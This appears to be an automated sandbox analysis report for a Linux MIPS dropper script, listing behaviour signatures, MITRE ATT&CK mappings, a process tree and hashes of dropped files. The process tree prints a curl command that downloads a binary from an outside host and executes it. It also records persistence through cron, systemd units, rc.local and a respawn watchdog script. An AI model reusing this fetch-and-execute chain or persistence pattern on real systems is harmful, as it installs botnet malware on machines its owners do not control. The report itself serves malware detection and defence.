6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde

Analysis

max time kernel
149s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
17/08/2026, 12:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dl.sh
Size 4KB
Sample260817-pnw4jabl21
SHA256 6b2c65448b82ed4002ae3f37c35ad6721c6f65e299241ba724db6c1422ddacde
MD5 75ebf52f719172f9a774b0968ff4c5d5
SHA1 c6b69fc64f27ed9c5998a8c6f107d89dffce4f2f
SHA512 f0da857052b706e3ead6e27a41b3b153f22b239f50c16b8fb23c905a0a2d247ac18ef954a506644459b441b039b0b8330fedbbbe2e50a9a1eb29ace7f0dbf346
SSDEEP 96:EqAChsRrPO2LGWUiRe1ijL9i7vt7Oi/8r0Vi+wjb98dni:ESsN26GWUiRe1ijL9ilX0rqe5uni
TLSH
T18E9155E1FAF19432355E447D62999165B6870633060A380470DDA834BF6E1BDF33A33D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod
834	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/.m_http	758	dl.sh
/tmp/watchdog.sh	836	dl.sh
/tmp/.m_http	842	watchdog.sh
/tmp/.m_http	927	watchdog.sh
/tmp/.m_http	938	watchdog.sh
/tmp/.m_http	948	watchdog.sh
/tmp/.m_http	958	watchdog.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	.m_http
File opened for modification	/dev/misc/watchdog	.m_http

Creates/modifies Cron job 1 TTPs 3 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.klQhBs	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.UfRZ3f	crontab
File opened for modification	/etc/cron.d/flutter	.m_http

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	.m_http

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	.m_http

Modifies systemd 2 TTPs 2 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/network-dispatch.service	.m_http
File opened for modification	/etc/systemd/system/bot.service	dl.sh

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/network-dispatch	.m_http

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-1.dat	upx

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
731	base64

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	docker	761	.m_http
Changes the process name, possibly in an attempt to hide itself	[kblockd/0]	761	.m_http
Changes the process name, possibly in an attempt to hide itself	irqbalance	762	.m_http

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	.m_http

Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/722/status	pgrep
File opened for reading	/proc/73/cmdline	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/74/status	pgrep
File opened for reading	/proc/160/status	pgrep
File opened for reading	/proc/761/cmdline	pgrep
File opened for reading	/proc/839/status	pgrep
File opened for reading	/proc/683/cmdline	pgrep
File opened for reading	/proc/443/cmdline	pgrep
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/338/status	pgrep
File opened for reading	/proc/254/cmdline	pgrep
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/338/status	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/723/cmdline	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/691/cmdline	pgrep
File opened for reading	/proc/75/cmdline	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/691/status	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/254/status	pgrep
File opened for reading	/proc/70/status	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/14/status	pgrep
File opened for reading	/proc/19/cmdline	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/338/cmdline	pgrep
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/37/status	pgrep
File opened for reading	/proc/762/cmdline	pgrep
File opened for reading	/proc/15/cmdline	pgrep
File opened for reading	/proc/73/cmdline	pgrep
File opened for reading	/proc/79/cmdline	pgrep
File opened for reading	/proc/70/cmdline	pgrep
File opened for reading	/proc/70/status	pgrep
File opened for reading	/proc/723/status	pgrep
File opened for reading	/proc/73/cmdline	pgrep
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/70/status	pgrep
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/71/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/81/status	pgrep
File opened for reading	/proc/14/fd	.m_http
File opened for reading	/proc/443/cmdline	.m_http
File opened for reading	/proc/342/status	pgrep
File opened for reading	/proc/71/cmdline	pgrep
File opened for reading	/proc/761/status	pgrep
File opened for reading	/proc/74/cmdline	pgrep
File opened for reading	/proc/160/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/7/cmdline	pgrep
File opened for reading	/proc/347/cmdline	pgrep
File opened for reading	/proc/762/status	pgrep
File opened for reading	/proc/19/status	pgrep
File opened for reading	/proc/722/status	pgrep

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
736	curl

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.m_http	curl
File opened for modification	/tmp/watchdog.sh	dl.sh

/tmp/dl.sh
/tmp/dl.sh
1⤵
- Executes dropped EXE
- Modifies systemd
- Writes file to tmp directory
PID:726
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:731
- /usr/bin/tr
  tr -d "\\n"
  2⤵
  PID:732
- /bin/uname
  uname -m
  2⤵
  PID:734
- /usr/bin/curl
  curl -sf --connect-timeout 5 --max-time 30 http://vps.atlas101.us.kg/flutter.mips -o /tmp/.m_http
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /usr/bin/stat
  stat "-c%s" /tmp/.m_http
  2⤵
  PID:755
- /bin/chmod
  chmod +x /tmp/.m_http
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /bin/sleep
  sleep 2
  2⤵
  PID:759
- /tmp/.m_http
  /tmp/.m_http
  2⤵
  - Modifies Watchdog functionality
  - Creates/modifies Cron job
  - Enumerates active TCP sockets
  - Modifies rc script
  - Modifies systemd
  - Write file to user bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:758
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:766
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:766
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:766
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:766
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:766
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:766
- - /usr/local/sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:790
- - /usr/local/bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:790
- - /usr/sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:790
- - /usr/bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:790
- - /sbin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    PID:790
- - /bin/systemctl
    systemctl enable network-dispatch.service
    3⤵
    - Enumerates kernel/hardware configuration
    PID:790
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:783
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:784
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:785
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:788
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:787
- /bin/grep
  grep -v /tmp/.m_http
  2⤵
  PID:789
- /bin/cat
  cat
  2⤵
  PID:791
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Enumerates kernel/hardware configuration
  PID:792
- /bin/systemctl
  systemctl enable bot.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:805
- /bin/systemctl
  systemctl start bot.service
  2⤵
  - Enumerates kernel/hardware configuration
  PID:830
- /bin/cat
  cat
  2⤵
  PID:833
- /bin/chmod
  chmod +x /tmp/watchdog.sh
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/watchdog.sh
  /tmp/watchdog.sh
  2⤵
  - Executes dropped EXE
  PID:836
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:839
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:840
- - /bin/sleep
    sleep 30
    3⤵
    PID:843
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:842
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:924
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:926
- - /bin/sleep
    sleep 30
    3⤵
    PID:928
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:927
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:936
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:937
- - /bin/sleep
    sleep 30
    3⤵
    PID:939
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:938
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:946
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:947
- - /bin/sleep
    sleep 30
    3⤵
    PID:949
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:948
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_http
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:956
- - /usr/bin/pgrep
    pgrep -f /tmp/.m_tftp
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:957
- - /bin/sleep
    sleep 30
    3⤵
    PID:959
- - /tmp/.m_http
    /tmp/.m_http
    3⤵
    PID:958
- /bin/rm
  rm -f /tmp/.m_http /tmp/.m_tftp /tmp/.m_ftp
  2⤵
  PID:837

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

flutter

Path /etc/cron.d/flutter
Size 28B
SHA256 93ce27f138097c5011cb6667acced7179ce01b1bfdc21e536eef8ab688c8013f
MD5 70d56f66f8a5c74266db6ee8a4c3b534
SHA1 42ae65706eb930d5c5939ad70df5d60eac8aa857
SHA512 3351b78cdb16db958da52c124f15e440f7e586eb59e99268cd9e56d17c512b56f8e6489e15d1451519745126e07170b2deeb2b4ad963af8ed26a9d85ed7d9f8c
MD5 SHA1 SHA512

Submit Download

bot.service

Path /etc/systemd/system/bot.service
Size 157B
SHA256 5dbe891da840439d9b6aaf3fb24768d7feb17b484d9a994d00c4432dbad65664
MD5 14d48323567f0aef3f72adbbd390f008
SHA1 e57d522a2244e197a50f416085095187c04b244d
SHA512 98fd0e95cbc1c5d10bbf3aa894351d012660a08f2c2cbf6c81bc8c898ac2b5b6fd8d2ee53e52df5059ea873ccb6aecdb36a89971e58e4003e746078ad551b4e4
TLSH
T1BBC08C63BA6024A18D0B3AB28FB26B408E2043804BCEA2781BD0181D14E118761219AE
MD5 SHA1 SHA512 TLSH

Submit Download

network-dispatch.service

Path /etc/systemd/system/network-dispatch.service
Size 228B
SHA256 f0a4522d9cacf37bc711ef07c7a07d2627ac3fb2a25e13e1695db14896da415e
MD5 93d4d91e631d6cc85d978e996f3316b9
SHA1 9fc4ded5573510502cbb231b2c8d3ab5fc2d5503
SHA512 c0b9d9ac33434e11a8ccebf386492e4baa7206cb61968694e06d4eb911eaee4ffa74e7b106a402bfb8bfd1c3b725fd29f9d59b8fb090b643dbb3f42a3db409fe
TLSH
T149D0A7A2DAB05091CA1618764F977B50894521401D8EA2BD0A952F4546D2245502DA5E
MD5 SHA1 SHA512 TLSH

Submit Download

.m_http

Path /tmp/.m_http
Size 123KB
SHA256 562cf6d6cc50b4f1fc7117315ca8c08797c934e11619eb1a30fab168aa90f0ba
MD5 2c75eb277677d22b925ec489397c7cb1
SHA1 3a044892843f34f69aa8d76a63b407c1776bf30c
SHA512 7d63379f0f89421821f854a45891bf99a2af2e642b97d01e122eb7329759bcaeeec4f8fe0a6d8c4c70894e9448079bd70e4729558731c1c5b0be58d435da5bff
SSDEEP 3072:TuPf6tqntM1xWKzRef/4/ynn3XZSXGIP4MEGLSEglx:qn6tqnCGEG4/ynn3pJO4MtmEglx
TLSH
T127C3125F9500F8879018DD72337A27EF65FA082D4D5E90CE8CC49D019AFA2BD9164DAF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

watchdog.sh

Path /tmp/watchdog.sh
Size 173B
SHA256 2e4dafe2c008a006bcb9f674c5eef94124ad5751ef8f00a0a5493d781e851a01
MD5 1bc1dd5fa84c14c24241a73676abaeea
SHA1 def93fbddd84d83f0112b76d1aa41035635cc98b
SHA512 c2920814eae500053da4a9a53838aa7b5c23070e49475db5e5906b8fd6eac000e4c3d5d7b3648f464790cb1b0eab68e718d8796b740801320135dfc3b13e37a8
TLSH
T174C080F1F510CC333E0549B9A5D85014B253D323545F6558308E1C383F493C43161739
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.UfRZ3f

Path /var/spool/cron/crontabs/tmp.UfRZ3f
Size 218B
SHA256 a7f94b606be954e1f559e15b9d90bcf8f105593703dba3831d327c66bfed05ed
MD5 9cd3be1973ba67a5a7368900695bc9df
SHA1 aa7c6a06cbe4d46371d18b8077a15d30a41041fd
SHA512 0736868656a6a1196dc5a45099adf64f7ce14e078e86511754f47cf9df20e50fe7e0ef7b3727eae634272f7b684211f8c40a7adcbab924d7f5b8220ba3041eeb
TLSH
T109D0A7693F205C3035040B55611E0229D9429279C00D6E40D0ED1414520A39E7B50E25
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.klQhBs

Path /var/spool/cron/crontabs/tmp.klQhBs
Size 214B
SHA256 162ece58c53dcff6e16dc396fa60369e112d7f53fdf382df6b3f248c4a2854fb
MD5 23313670f0e9ea01b08438656e977ccb
SHA1 17acfafc12661d5dda8b8597d6f1c795091db11a
SHA512 65cc387adb5dc2a1e57b111fa3ef943342faae98860a0632b5d8e28094789fed799528dcc8c24c5407eeafa0879427d914d51ec0c6e91db2f984f194cdc8776d
TLSH
T18FD0235D7F105D3135080F46311E0219DD42963DC04D7E40D0DD643492071DC7750E75
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads